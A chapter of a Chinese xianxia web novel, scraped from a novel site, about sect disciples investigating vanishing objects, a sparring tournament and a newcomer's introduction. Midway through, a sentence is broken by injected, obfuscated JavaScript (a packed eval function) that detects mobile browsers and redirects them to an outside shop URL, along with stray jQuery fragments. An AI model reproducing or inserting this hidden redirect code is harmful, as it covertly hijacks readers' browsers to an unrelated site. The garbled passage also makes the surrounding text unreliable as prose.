文趣网 > 其他小说 > 魔头师尊是道侣 > 14. 不是吧师尊,您认真的吗?
    “明白了,师姐。”

    “好,今天你就先熟悉一下,等明日一早我再来带你去杂役局报到。”

    顾宁安恭敬道:“师姐慢走。”

    推开院门,走进小院,他迫不及待地来到了屋内。

    “哦!我知道了,原来那道裂隙可以隔空传送!哇——这也太神了吧!”

    他抬手摸过榻上的那床被子,觉得怎么看怎么眼熟。

    “馒头,开门。”

    【好嘞主人。】

    漩涡出现,顾宁安点了下面板上的被子,他将出现在自己怀里的那床被子放到床上后,发现这两床被子竟然长得一模一样。

    “咦?这两床被子难道是从同一个批发市场买来的吗?”

    馒头不语。

    顾宁安摊开那床被自己睡在地上蹭脏了的被子,三两下就把被单拆了下来。

    “我还是继续用这床旧的吧。”

    说罢,他抱起那床新被子还了账。

    月黑风高。

    云涧苑,第一百零九号院。

    李慕柔和徐月僚二人刚沐浴完正准备卧榻安寝。

    这时候,白芙来了。

    “师姐?睡了吗?”

    徐月僚准备去开院门,但转过身看了一眼,发现李慕柔已经在一旁的矮榻上盘好了腿。

    她知道李慕柔一向都有睡前打坐的习惯。

    于是,徐月僚便对白芙说:“就睡了,有事等明天吧!”

    “哦,那好吧。”白芙扭头回了自己的住处。

    如往常一样,李慕柔闭目养神的时候,徐月僚若是睡不着便会看会儿书。

    她把书放在床头,又抬手打开了床柜,准备先把被褥铺好。

    “慕柔,你快来看!”

    “看什么?”

    李慕柔睁开眼起身,兴致勃勃走到她身边。

    “那被子,竟然回来了?”

    “嗯嗯!”徐月僚点头肯定。

    他们俩不由地皱起了眉头,相视而笑,却都一脸无奈。

    李慕柔一边不自觉地眨眼一边回想。

    “难道那碟云畔糕也是这么消失的?只是当时我们谁都没有察觉!”

    徐月僚恍然大悟:“怪不得,白芙还以为你喜欢,实际上你没吃我也没吃!”

    李慕柔继续推测。

    “没错,照这么说的话,那么最一开始,是云畔糕先消失的,然后执事弟子照例巡查那天,从我的衣柜里翻出了一条男人穿的合裆裤。”

    “之后,白芙送我的小兔子消失了。”

    “紧接着,我看到了那对兽牙,周晟鸣来了之后,小兔子又凭空出现了。”

    “当我正准备去问白芙兽牙的事情时,那对兽牙就凭空消失了!”

    徐月僚缓缓点头,想了想说道:“感觉像是,有借、有还!”

    “我也觉得!”

    李慕柔一手握起拳头砸在自己的掌心,她笃定极了:“一定是这样!”

    徐月僚附和:“嗯,这样就能说得通了。”

    可李慕柔依然有些疑惑。

    “可是,这个人会是谁呢?他又为何要这样?”

    “如果说他的境界已经到了归墟境,可以操控空间,那他完全不必如此大费周章!”

    “此等身份,在咱们沧渊阁,还会吃不到一盘云畔糕么?用得着从我这里借?”

    他们俩想来想去都没有什么头绪。

    李慕柔甚至在脑海中分别想象了一下,那八位——

    贼眉鼠眼地偷吃云畔糕,一脸邪恶地将合裆裤扔进空间裂隙,表情猥琐地抚摸着小兔子的画面……

    “咦~”

    光是想想,鸡皮疙瘩就已经掉了一地了。

    “不可能,绝无可能。”

    李慕柔用力晃了晃脑袋,驱散了自己的幻想。

    徐月僚掀开被子,拍了拍床褥,示意她上榻上来。

    “别想了,接着查下去便是,如果真是沧渊阁的人所为,那他迟早会暴露的!”

    李慕柔钻进被窝嘟嘴。

    “嗯——关键是查到现在,也只知道那合裆裤来自于一位摆摊的老婆婆,是人人都能买得到的东西,唉算了,先睡觉。”

    徐月僚捏捏她的脸颊,熄了灯。

    翌日清晨,致业殿。

    师尊陈淇还没来,白芙左一个哈欠连着右一个哈欠,一副没睡醒的样子。

    其他的弟子们正在闲聊。

    “今天鹤唳台好像有演武吧?”

    “行门内演武是每三个月一次,是在今天吗?我来算算日子。”

    “我记得就是今天,自我入门这三年以来,每一次演武必有人挑战慕柔师姐,不知道这次会是谁发起?”

    “看你那一脸崇拜样儿,迟早有一天咱们也会像师姐一样厉害!”

    “唉,也不知道我什么时候才能突破至通幽,若是到了通幽境,便可以不畏寒暑,也不至于像现在这样冻得跟孙子似的。”

    “谁说不是呢?打通周身经脉后,可感知方圆十丈以内的风吹草动,还能在夜间清晰视物,我跟你一样,如今依旧停留在开蒙九,唉。”

    “小小年纪叹的哪门子气?”

    原来是陈淇来了。

    “师尊!”

    “师尊。”

    ……

    弟子们纷纷作揖,白芙睁开了朦胧的双眼。

    陈淇说道:“今日鹤唳台有演武,准你们一观,去吧!”

    “真的吗?”

    “耶!”

    “谢谢师尊!”

    ……

    众人纷纷散去。

    “你留下。”

    正准备踏出致业殿,有一股寒意直逼而来,扭过头一看,白芙才发现陈淇的食指正直直地指向自己的脑门。

    “不是吧师尊,您认真的吗?”

    白芙震惊。

    鹤唳台的周围已经围满了人。

    立在台下的演武榜上,李慕柔的名字足足出现了十次。

    演武有规定:同一个人在演武当天能被挑战的最高次数是十次。

    周晟鸣不禁哂笑一声。

    “这些人呐,怕是他们还不知道慕柔的境界如今已与云师姐看齐了。”

    云苍蓝的名字也在演武榜上,向她发起挑战的人是赵琦应。

    而云苍蓝和赵琦应的境界都在归墟境初阶。

    “汪!”

    一道黑影和一道黄影穿过人群,周晟鸣和他的大黄已站在了云涧苑第一百零九号院的门口。

    “慕柔,我给你带好消息来了!”

    “汪汪!”

    “……”

    此时杂役局,正在进行新人介绍环节。

    “诸位好,我叫顾宁安。”

    顾宁安的身高无情的碾压了在场的每一位。

    “你好,我是杂役局的执事刘潇冉,该说不说,你真的好高啊!”

    “呃,我也没想到自己会长这么高。”

    顾宁安挠了下头。

    刘潇冉开玩笑道:“呵呵,那以后要是有我们大家伙够不着的活计,就可以找你来做了。”

    “当然,乐意之至,保

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17939063|213826||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    证随叫随到。”

    顾宁安说罢,其余人都咧开嘴笑了起来。

    米桓解释:“大家是看你太实诚了!”

    “嘿嘿。”顾宁安倒有点儿不好意思。

    刘潇冉正色道:“好了,大家各自报一下自己的名字,我们就开始分配今天的任务了!”

    于是从米桓开始,杂役局的弟子们依次自报家门。

    “我叫米桓,十八岁,家住青雅镇。”

    “常泰,十九岁。”

    “武自铭,十八岁,中州人。”

    “石蒙恩,二十。”

    “贾义守,二十岁。”

    “王行路,今年十九,和武自铭一样,也是中州的。”

    顾宁安听得仔细,将他们的名字一一牢记于心。

    刘潇冉接着说:“宁安,你来得晚,也许他们当中有人比你小几岁,但是按照行门的规定,你还是需要称呼他们一声师兄。”

    “好,我记下了!”

    顾宁安面对他们礼貌地微笑着,整个人看起来有些拘谨。

    同时,他又感到很安心,比以往任何时候都安心。

    与此同时,李慕柔正在碎碎念中。

    “我就知道。”

    “我简直是劳模啊劳模,累了、真的。”

    “都别管我,我今天就要在这儿躺着。”

    徐月僚一面饮茶一面看书。

    周晟鸣则在一旁喂大黄吃萝卜。

    瘫坐在摇椅上的李慕柔,今日只想摆烂。

    从她满十岁开始,每三个月一次的演武大会上,必定会有她的身影。

    挑战她的人,年龄在十六岁至二十六岁不等,他们的境界则与她不相上下。

    而每一次,李慕柔都一定会是那个胜者。

    想不到这次更夸张,居然有十个人在同一天挑战她。

    “师姐!”

    白芙跳着高,时不时露出一个脑袋顶。

    李慕柔看向院门,一挥手,门便开了。

    “小师妹,你之前没有送过我牙齿一类的东西吧?”

    白芙边走边说。

    “牙齿?什么牙齿?我的牙齿吗?师姐想要我的牙齿?”

    她越说越兴奋。

    李慕柔叹了口气:“唉,我就知道。”

    白芙蹦跳着来到她身前。

    “慕柔师姐,你怎么还不去鹤唳台呀?我看按照顺序排下来,就快到你了呢!”

    “哦,我不舒服,走不动路,去不了。”

    白芙看了看徐月僚,又看了看周晟鸣,知道李慕柔是在骗她。

    “可是师姐,你今天足足有十场架要打呢!如果一直往后延的话,岂不是要一直打到晚上?”

    “唉——”

    听到这儿,李慕柔一挺身坐了起来,一脸不高兴。

    “师姐,要不我背你去吧!”

    “好啊。”

    顷刻间李慕柔变得面无表情,说起话来也是淡淡的。

    单纯的白芙像请到了圣旨一般,立马转过身去摆好姿势。

    “慕柔师姐,上来吧!”

    无人回应。

    “嗯?”

    她一转头,身后的摇椅上已经没有人了。

    周晟鸣笑出了声,他牵起大黄说道:“可怜的小师妹,你还是跟我们一起走吧!”

    “哼!想得美!我还要回致业殿呢!”

    说罢,白芙气呼呼地离开了。

    周晟鸣骤然挑起一边的眉毛,着实无语。

    徐月僚放下书,跟周晟鸣一起去了鹤唳台。